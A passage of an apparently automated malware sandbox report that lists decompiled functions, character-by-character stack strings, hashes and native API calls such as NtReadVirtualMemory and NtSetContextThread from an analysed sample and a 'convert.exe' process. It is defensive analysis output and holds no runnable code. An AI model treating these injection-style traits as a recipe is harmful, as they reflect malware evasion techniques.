String ID: !"#$$%&'($)*+,$-./0$123@$4567$89:;$<=@@$@@@>$@@@?$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@
API String ID: 0-2725001343
Opcode ID: 0138eaa319a09a2a623970655ad5f662c51a7ff2ad7abf34fa2a6fac2ba39020
Instruction ID: 6279e22ef413401e85959f258018ebbce937666577da9af9e30197b0c0efb936
Opcode Fuzzy Hash: 0138eaa319a09a2a623970655ad5f662c51a7ff2ad7abf34fa2a6fac2ba39020
Instruction Fuzzy Hash: 91911DF08052A98ACB118F55A5603DEBF71AB95204F1581EDC6AA7B243C3BE4E85DF90

Function 03AD9F33 Relevance: 34.0, Strings: 27, Instructions: 264COMMON

Download Yara Rule

Strings

H, xrefs: 03ADA002
T, xrefs: 03ADA01E
$, xrefs: 03AD9F8F
F, xrefs: 03ADA010
}, xrefs: 03AD9FB7
5, xrefs: 03AD9FDF
), xrefs: 03AD9F7B
F, xrefs: 03AD9FFB
>, xrefs: 03AD9F71
B, xrefs: 03ADA048
m, xrefs: 03AD9FE6
Q, xrefs: 03ADA009
h, xrefs: 03AD9F5D
g, xrefs: 03AD9FA3
$, xrefs: 03AD9FCB
J, xrefs: 03ADA04F
}, xrefs: 03AD9F99
u, xrefs: 03AD9FAD
i, xrefs: 03ADA1D5
., xrefs: 03ADA1CE
), xrefs: 03AD9FD5
%, xrefs: 03ADA119
E, xrefs: 03AD9FF4
v, xrefs: 03AD9F67
w, xrefs: 03AD9FED
urlmon.dll, xrefs: 03ADA175, 03ADA178
s, xrefs: 03AD9FC1

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: $$$$%$)$)$.$5$>$B$E$F$F$H$J$Q$T$g$h$i$m$s$u$urlmon.dll$v$w$}$}
API String ID: 0-1002149817
Opcode ID: bddb3ae753585c668aeb15b1fc16e08ea422f7547e82522d0ceea744f958f239
Instruction ID: 2d5b0cfa32f77ecbe6737853896d0643fc1e840830ef0fe122928a4050c96695
Opcode Fuzzy Hash: bddb3ae753585c668aeb15b1fc16e08ea422f7547e82522d0ceea744f958f239
Instruction Fuzzy Hash: 43C12FB1D053689ADB61DFA4CD44BDEBBB8AF05304F0085DAD50CBB241D7B54A88CFA1

Function 03ABB1C2 Relevance: 17.6, Strings: 14, Instructions: 59COMMON

Download Yara Rule

Strings

(10P, xrefs: 03ABB284
IRL\, xrefs: 03ABB1E1
JLM\, xrefs: 03ABB23E
OHRO, xrefs: 03ABB2D1
|, xrefs: 03ABB2E3
RHRN, xrefs: 03ABB214
L, xrefs: 03ABB2DA
HROL, xrefs: 03ABB276
OHROL, xrefs: 03ABB2F3, 03ABB302
\4(?, xrefs: 03ABB229
(HE4, xrefs: 03ABB253
)G\=, xrefs: 03ABB1FF
\T74, xrefs: 03ABB27D
SHRL, xrefs: 03ABB2AE

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: (10P$(HE4$)G\=$HROL$IRL\$JLM\$L$OHRO$OHROL$RHRN$SHRL$\4(?$\T74$|
API String ID: 0-3942318543
Opcode ID: 983046fd14a0ff1067573db880329f36db069a8ec47e588487900b3439a2d33c
Instruction ID: d7b3aae7f4bf177ba8891e1320372375b5a94ab3f0ddc6e3156c235b4c30e8a2
Opcode Fuzzy Hash: 983046fd14a0ff1067573db880329f36db069a8ec47e588487900b3439a2d33c
Instruction Fuzzy Hash: BB31DEB5C01258DBDB24DFE2A940ACDFFB5BB01300F618698C12A7F242C7764A86CF85

Function 03AD2533 Relevance: 16.4, Strings: 13, Instructions: 194COMMON

Download Yara Rule

Strings

s, xrefs: 03AD25E8
m, xrefs: 03AD25D3
x, xrefs: 03AD256E
F, xrefs: 03AD25DA
P, xrefs: 03AD25BE
e, xrefs: 03AD259B
i, xrefs: 03AD2594
o, xrefs: 03AD25C5
o, xrefs: 03AD25A2
r, xrefs: 03AD25CC
l, xrefs: 03AD25E1
, xrefs: 03AD258D
., xrefs: 03AD2564

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: 010e3b4cd3cd7a8853a1196c7da9c51f91c801af40dedb8093f7d0906bae5495
Instruction ID: c715041d450c6767f91b130df7cbfd162da6e107d3ddc129d9a0dab3680cc8bc
Opcode Fuzzy Hash: 010e3b4cd3cd7a8853a1196c7da9c51f91c801af40dedb8093f7d0906bae5495
Instruction Fuzzy Hash: B0710CB5C10318AADB25EB94CD81FEFB7BCBF08700F04459EE519AA240E77557488FA5

Function 03AD2530 Relevance: 16.4, Strings: 13, Instructions: 174COMMON

Download Yara Rule

Strings

s, xrefs: 03AD25E8
m, xrefs: 03AD25D3
x, xrefs: 03AD256E
F, xrefs: 03AD25DA
P, xrefs: 03AD25BE
e, xrefs: 03AD259B
i, xrefs: 03AD2594
o, xrefs: 03AD25C5
o, xrefs: 03AD25A2
r, xrefs: 03AD25CC
l, xrefs: 03AD25E1
, xrefs: 03AD258D
., xrefs: 03AD2564

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: fe528114f8019dd62bbfa2a21e613f0ea6f7d6e74638ea67b2d90bc3db6959ab
Instruction ID: a5647994fd1dc463bfd01c04de05bd8782ae2c62052965200fc41f220abddf85
Opcode Fuzzy Hash: fe528114f8019dd62bbfa2a21e613f0ea6f7d6e74638ea67b2d90bc3db6959ab
Instruction Fuzzy Hash: C8612BB5C04318AADB25EB94CD81FEFB7BCBF08700F04859EE119AA250E7B557488F65

Function 03AC612E Relevance: 13.8, Strings: 11, Instructions: 85COMMON

Download Yara Rule

Strings

n, xrefs: 03AC61C7
i, xrefs: 03AC61CE
D, xrefs: 03AC61B9
w, xrefs: 03AC61C0
l, xrefs: 03AC616E
r, xrefs: 03AC617C
e, xrefs: 03AC6183
\, xrefs: 03AC6160
e, xrefs: 03AC618A
r, xrefs: 03AC6175
x, xrefs: 03AC6167

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$l$n$r$r$w$x
API String ID: 0-685823316
Opcode ID: 2336e7de36c37cc07b1b661a93337aad6e1b328048168db36725240f11a0171b
Instruction ID: 928cb110371bb02591de44f197d7458077f037723d8f09a0ea938264f5685a24
Opcode Fuzzy Hash: 2336e7de36c37cc07b1b661a93337aad6e1b328048168db36725240f11a0171b
Instruction Fuzzy Hash: 4631A7B5D10318AADF50DFD4CC44BEEB7BDAF04704F04415DE618BA280DBB516488BA4

Function 03ACD5EE Relevance: 10.1, Strings: 8, Instructions: 133COMMON

Download Yara Rule

Strings

i, xrefs: 03ACD701
x, xrefs: 03ACD62C
o, xrefs: 03ACD6E6
e, xrefs: 03ACD708
P, xrefs: 03ACD6DC
r, xrefs: 03ACD6F0
., xrefs: 03ACD625
m, xrefs: 03ACD6FA

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: .$P$e$i$m$o$r$x
API String ID: 0-620024284
Opcode ID: 99ebad60201c09895b529f6670c701c90960955b9a63fec7e85b99cc2627078d
Instruction ID: 71bad6270c611d9571968c4c03fa3f64616782a7caa0eda877c11e43939c31a1
Opcode Fuzzy Hash: 99ebad60201c09895b529f6670c701c90960955b9a63fec7e85b99cc2627078d
Instruction Fuzzy Hash: 3F4176B5D103186AEB20EFA0DD41FDF777CAF54700F00859EA5096B241EAB557888FA1

Function 03ADA783 Relevance: 8.9, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

S, xrefs: 03ADA801
a, xrefs: 03ADA808
\, xrefs: 03ADA848
c, xrefs: 03ADA7F3
L, xrefs: 03ADA7EC
e, xrefs: 03ADA80F
l, xrefs: 03ADA7FA

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: L$S$\$a$c$e$l
API String ID: 0-3322591375
Opcode ID: 6ba26cb596941a4c48bb98fd2619178e793309571a8fa974d56d8719a7910aa4
Instruction ID: 66855cfdd831a25f999717ff9700dd1d689f3ef0e57104cf7fbfa654d1da0571
Opcode Fuzzy Hash: 6ba26cb596941a4c48bb98fd2619178e793309571a8fa974d56d8719a7910aa4
Instruction Fuzzy Hash: 26414676C04318AADB50EFA8DC84BEEB7F9AF48710F05466FD909AB200E7715685CF94

Function 03AD22E4 Relevance: 7.7, Strings: 6, Instructions: 181COMMON

Download Yara Rule

Strings

P, xrefs: 03AD232C
T, xrefs: 03AD2333
F, xrefs: 03AD2348
x, xrefs: 03AD235D
r, xrefs: 03AD234F
f, xrefs: 03AD2356

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: F$P$T$f$r$x
API String ID: 0-2523166886
Opcode ID: 46126f2fbcb0c84985a8e6bd7b5afd430f58e7587f14855f616c25eae1a012de
Instruction ID: 442bdd6dd2a38122392074e0cb249a0fee9a045c313fd8b7e0fc592ebf1678af
Opcode Fuzzy Hash: 46126f2fbcb0c84985a8e6bd7b5afd430f58e7587f14855f616c25eae1a012de
Instruction Fuzzy Hash: 2451B6B1900305AAD735EF64CD44BEAF7FCFF05700F08495FA54A5A680E7B8A644CBA1

Function 03AD19F3 Relevance: 6.4, Strings: 5, Instructions: 200COMMON

Download Yara Rule

Strings

u, xrefs: 03AD1A30
, xrefs: 03AD1A29
l, xrefs: 03AD1A45
i, xrefs: 03AD1A3E
o, xrefs: 03AD1A37

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: $i$l$o$u
API String ID: 0-2051669658
Opcode ID: 48caa51c6211766cc10b5d05acd9218abbf6c5be4291633b22fe7d3835958db7
Instruction ID: e1257beeb0c02cd38bb3ffded54c07dab7ea4134eb0495e79196cc99c00274e1
Opcode Fuzzy Hash: 48caa51c6211766cc10b5d05acd9218abbf6c5be4291633b22fe7d3835958db7
Instruction Fuzzy Hash: 6C618FB1900304AFCB64DBA4DC84FEFB7FDAB48700F14495EE51AA7240E775AA41CB60

Function 03AD1680 Relevance: 5.3, Strings: 4, Instructions: 303COMMON

Download Yara Rule

Strings

o, xrefs: 03AD16B9
, xrefs: 03AD16B2
e, xrefs: 03AD16C7
k, xrefs: 03AD16C0

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: $e$k$o
API String ID: 0-3624523832
Opcode ID: 2c99f205c699c56af988302c73aa75ae898f639ee8f6e95eb1c37954783ad683
Instruction ID: 63ad5b8d172012f635a388cdd59accb701842153123742d25d03636866a1574b
Opcode Fuzzy Hash: 2c99f205c699c56af988302c73aa75ae898f639ee8f6e95eb1c37954783ad683
Instruction Fuzzy Hash: CFB10AB5A00308AFDB64DBA4C885FEFB7BDAF88700F14855DF65A97240D674AA41CB90

Function 03AD1FC3 Relevance: 5.2, Strings: 4, Instructions: 237COMMON

Download Yara Rule

Strings

h, xrefs: 03AD2096
o, xrefs: 03AD209D
, xrefs: 03AD208F
e, xrefs: 03AD20A4

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: $e$h$o
API String ID: 0-3662636641
Opcode ID: 79093a9a820c431e919b6f7bb45adbc371962a794f80ed5c0094db76c2d4841e
Instruction ID: ef526de4cc186c50a6383d17c816cb370e79ccf8e71f0f82cddc570e2d73b531
Opcode Fuzzy Hash: 79093a9a820c431e919b6f7bb45adbc371962a794f80ed5c0094db76c2d4841e
Instruction Fuzzy Hash: A08153B6C003596EDB25EB94CD41FEFB3BCEF44700F40859BA509AA140EA756B44CFA5

Function 03AD1683 Relevance: 5.2, Strings: 4, Instructions: 181COMMON

Download Yara Rule

Strings

o, xrefs: 03AD16B9
, xrefs: 03AD16B2
e, xrefs: 03AD16C7
k, xrefs: 03AD16C0

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: $e$k$o
API String ID: 0-3624523832
Opcode ID: b8ea70c2ee6e1110b8716b37fb4e231d18417776bf143405df0540de41bc19bf
Instruction ID: d3a026d0b9af83975363d1dc39df54eebe1f086e46564e1ee672b11866dd0452
Opcode Fuzzy Hash: b8ea70c2ee6e1110b8716b37fb4e231d18417776bf143405df0540de41bc19bf
Instruction Fuzzy Hash: 69612EB5A00308AFDB64DFA4CC84FEFB7BDAF88700F104559E65A9B244D774AA41CB90

Function 03AD1540 Relevance: 5.1, Strings: 4, Instructions: 124COMMON

Download Yara Rule

Strings

FALSETRUE, xrefs: 03AD15EB, 03AD15EE
TRUE, xrefs: 03AD1640
FALSETRUE, xrefs: 03AD15C3, 03AD15C8
TRUE, xrefs: 03AD15AD, 03AD15B0

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: FALSETRUE$FALSETRUE$TRUE$TRUE
API String ID: 0-2877786613
Opcode ID: 7521361bc5d1da16e935e393984a70637a8ffaf0d32140341e5fb0b2fd3f84b2
Instruction ID: 94e62eb3542079dec904b78a1af213ba31f169e930a5c4620ff0a018762f1e57
Opcode Fuzzy Hash: 7521361bc5d1da16e935e393984a70637a8ffaf0d32140341e5fb0b2fd3f84b2
Instruction Fuzzy Hash: B7415CB59116187EEB11EB90CD46FFF7B7CAF95700F00454AFA006B280E7B5660687E6

Function 03AD1543 Relevance: 5.1, Strings: 4, Instructions: 120COMMON

Download Yara Rule

Strings

FALSETRUE, xrefs: 03AD15EB, 03AD15EE
TRUE, xrefs: 03AD1640
FALSETRUE, xrefs: 03AD15C3, 03AD15C8
TRUE, xrefs: 03AD15AD, 03AD15B0

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: FALSETRUE$FALSETRUE$TRUE$TRUE
API String ID: 0-2877786613
Opcode ID: 1a27bbd7335dc87c5a9b431ef327aa4a476dd052116bc16577a330ffe866d0d5
Instruction ID: 9b9c2778446928b8a3df04c681c629a825c6937c40ca37df1a38d29b4dff6483
Opcode Fuzzy Hash: 1a27bbd7335dc87c5a9b431ef327aa4a476dd052116bc16577a330ffe866d0d5
Instruction Fuzzy Hash: 54313B759116187AEB01EB90CD46FFF777CAF95700F00454AFA04AB280E7B56A06C7E6

Function 03ACD7D3 Relevance: 5.1, Strings: 4, Instructions: 89COMMON

Download Yara Rule

Strings

Z, xrefs: 03ACD8B0
6, xrefs: 03ACD89B
3, xrefs: 03ACD8A9
v, xrefs: 03ACD8A2

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: 3$6$Z$v
API String ID: 0-2957954071
Opcode ID: 43fe288252ae16f7ad81af8a3167a32fe4a76e18f46e75d5870a2c5b7adfb912
Instruction ID: faaaa98aca0d74e2d9ca41766ff3d78a8f884f53ddf8ce61442063aac296a474
Opcode Fuzzy Hash: 43fe288252ae16f7ad81af8a3167a32fe4a76e18f46e75d5870a2c5b7adfb912
Instruction Fuzzy Hash: CB3132B5D14209ABEB14DFA4CD41FFE77BCEF04304F00855AE908AB240E7B59A058BE5

Function 03ABB02C Relevance: 5.1, Strings: 4, Instructions: 83COMMON

Download Yara Rule

Strings

FXA, xrefs: 03ABB18A
M, xrefs: 03ABB17C
KFXN, xrefs: 03ABB144
v, xrefs: 03ABB194

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: FXA$KFXN$M$v
API String ID: 0-2201859632
Opcode ID: 4d34e47299fc9a5739a3b96786fc57a5a2e7ffc165c840753250a9e40d379810
Instruction ID: 91fad6b98072428d6c9b34053dbc1d802a4c04b5e3d79cb6f93f3017b1436ac6
Opcode Fuzzy Hash: 4d34e47299fc9a5739a3b96786fc57a5a2e7ffc165c840753250a9e40d379810
Instruction Fuzzy Hash: F8411FB0C0424C9ACB20DFA5EA842DDFBB5FB01308FA0859DD55A7F201D7764A49CF91

Function 03ACEBEC Relevance: 5.1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

Strings

e, xrefs: 03ACEC82
k, xrefs: 03ACEC7B
, xrefs: 03ACEC6D
o, xrefs: 03ACEC74

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: $e$k$o
API String ID: 0-3624523832
Opcode ID: a34906ccc0d1f90dbb4a20ad19048ba007727011ffec31530649fc2ec0dc5a97
Instruction ID: cf6cf43c93bebb1784a216a071d9900362afbaa5b3c606c251b42505f9ae3fdc
Opcode Fuzzy Hash: a34906ccc0d1f90dbb4a20ad19048ba007727011ffec31530649fc2ec0dc5a97
Instruction Fuzzy Hash: E02157769102089FDB14DFA4D881ADEB3F9FF09704F14465ED9059F606E732994ACBA0

Function 03ABB084 Relevance: 5.1, Strings: 4, Instructions: 58COMMON

Download Yara Rule

Strings

FXA, xrefs: 03ABB18A
M, xrefs: 03ABB17C
KFXN, xrefs: 03ABB144
v, xrefs: 03ABB194

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: FXA$KFXN$M$v
API String ID: 0-2201859632
Opcode ID: d448ce9412dbe4943ce7dd091cf95f5cc30d8c3de0d6842fe752c2d52676a398
Instruction ID: fd9e8411d5fc3412945cf85db85aa4834bc6a3bfa1601e00f6badc4caf348802
Opcode Fuzzy Hash: d448ce9412dbe4943ce7dd091cf95f5cc30d8c3de0d6842fe752c2d52676a398
Instruction Fuzzy Hash: 8331D0B0C0439C9ACB20CFA5DA842DDFBB1BB00308FA0845DD55A7F601DB36198ACF50

Function 03ACEC3E Relevance: 5.0, Strings: 4, Instructions: 3COMMON

Download Yara Rule

Strings

e, xrefs: 03ACEC82
k, xrefs: 03ACEC7B
, xrefs: 03ACEC6D
o, xrefs: 03ACEC74

Memory Dump Source

Source File: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, Offset: 038F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_38f0000_mNqSPruzCXM.jbxd

Yara matches

Similarity

API ID:
String ID: $e$k$o
API String ID: 0-3624523832
Opcode ID: 6c2a5dd6db3f491a04235a0c73ca1e7a92dcaa4e30b7dfb8e939a99813402a00
Instruction ID: 0e4e1d652e3ef1e545fa025ccedf695ec0c006f3cfd3ca606b760abbfc380e6e
Opcode Fuzzy Hash: 6c2a5dd6db3f491a04235a0c73ca1e7a92dcaa4e30b7dfb8e939a99813402a00
Instruction Fuzzy Hash:

Analysis Process: convert.exePID: 5292, Parent PID: 7160COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	39
Total number of Limit Nodes:	3

Executed Functions

Function 0356F02A Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 547
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryInformationProcess.NTDLL ref: 0356F1E6
NtReadVirtualMemory.NTDLL ref: 0356F2F1

Strings

8kQ, xrefs: 0356F1A6
0, xrefs: 0356F25A

Memory Dump Source

Source File: 00000013.00000002.2977038161.0000000003560000.00000040.00000800.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3560000_convert.jbxd

Similarity

API ID: InformationMemoryProcessQueryReadVirtual
String ID: 0$8kQ
API String ID: 1498878907-3662991387
Opcode ID: f8bbf0fd23409d4b2d6d0ee367545295d48110c4e66bf175c02aa3957261aae8
Instruction ID: 74859841532b8fcba3038ae7ddf4777dd98ac3a63318ec72a9a4987c94386aa3
Opcode Fuzzy Hash: f8bbf0fd23409d4b2d6d0ee367545295d48110c4e66bf175c02aa3957261aae8
Instruction Fuzzy Hash: FA021B74618B8D9FCBA5EF68E894ADE77F0FB99304F00461A944ADB250DF349641CB81

Function 0356F038 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 196
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryInformationProcess.NTDLL ref: 0356F1E6
NtReadVirtualMemory.NTDLL ref: 0356F2F1

Strings

8kQ, xrefs: 0356F1A6
0, xrefs: 0356F0FB

Memory Dump Source

Source File: 00000013.00000002.2977038161.0000000003560000.00000040.00000800.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3560000_convert.jbxd

Similarity

API ID: InformationMemoryProcessQueryReadVirtual
String ID: 0$8kQ
API String ID: 1498878907-3662991387
Opcode ID: 5523df96e8aba93e2855a342693fc4fb71b409be23885f924778700713b0d4aa
Instruction ID: da8a2f7fe805085536489aa57f0bf29c96913f5826c4076853afc20ef66113b1
Opcode Fuzzy Hash: 5523df96e8aba93e2855a342693fc4fb71b409be23885f924778700713b0d4aa
Instruction Fuzzy Hash: 34513C74918B8C9FDBA5EF28A8946EEBBF1FB99344F40462E944ED7260DF348141CB41

Function 0356F9F8 Relevance: 1.7, APIs: 1, Instructions: 180
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetContextThread.NTDLL ref: 0356FB4A

Memory Dump Source

Source File: 00000013.00000002.2977038161.0000000003560000.00000040.00000800.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3560000_convert.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: d8ef94ec9281bff6c31f431c431fe69b7f504f94f56d1d48178fa1d29db2d3a7
Instruction ID: 3114aef990b6a7304e42e1bd2c9c6cad8e5d939035b71b00c59d0728dfa3d0d2
Opcode Fuzzy Hash: d8ef94ec9281bff6c31f431c431fe69b7f504f94f56d1d48178fa1d29db2d3a7
Instruction Fuzzy Hash: 2F517130618F495FC798EF28E4946ABB7E1FBD8301F40462E948EC76A0EF70D5458B81

Function 036D4340 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 036D434A

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5c97effa45627c55b518c882f6c61e3d6cc6c12c93ee7ad5fb3e7ee2f7c3946b
Instruction ID: 24747e6efdd52ba68d782e6bab7b40e6abb0676aee06d2115134f8d50c939f1b
Opcode Fuzzy Hash: 5c97effa45627c55b518c882f6c61e3d6cc6c12c93ee7ad5fb3e7ee2f7c3946b
Instruction Fuzzy Hash: 62900231606804129140B55C4884546400597E0701B55C011E0424A54D8B548A5A5361

Function 036D4650 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 036D465A

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 045e4e76d2b1dbddd2306edecb50c32797b6bc5760e999cef3aa40cb15787213
Instruction ID: 834f816c5e1ab3f17346b932c582e69ffcde91de67e6e145c95cb1679dfd547f
Opcode Fuzzy Hash: 045e4e76d2b1dbddd2306edecb50c32797b6bc5760e999cef3aa40cb15787213
Instruction Fuzzy Hash: 0D900261602504424140B55C4804406600597E1701395C115A0554A60D875889599269

Function 036D35C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 036D35CA

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 430a36098530552aa216e20175204cd54be4f9aacccb6d7848aaaeabd53f24c0
Instruction ID: 936e30d671891e375e0a017ad342a7a2fae2ecfe30ec6a09b26cc6986fbfc6ec
Opcode Fuzzy Hash: 430a36098530552aa216e20175204cd54be4f9aacccb6d7848aaaeabd53f24c0
Instruction Fuzzy Hash: 5D90023160650802D100B55C4514706100587D0601F65C411A0424A68E87D58A5565A2

Function 036D2B60 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 036D2B6A

Memory Dump Source

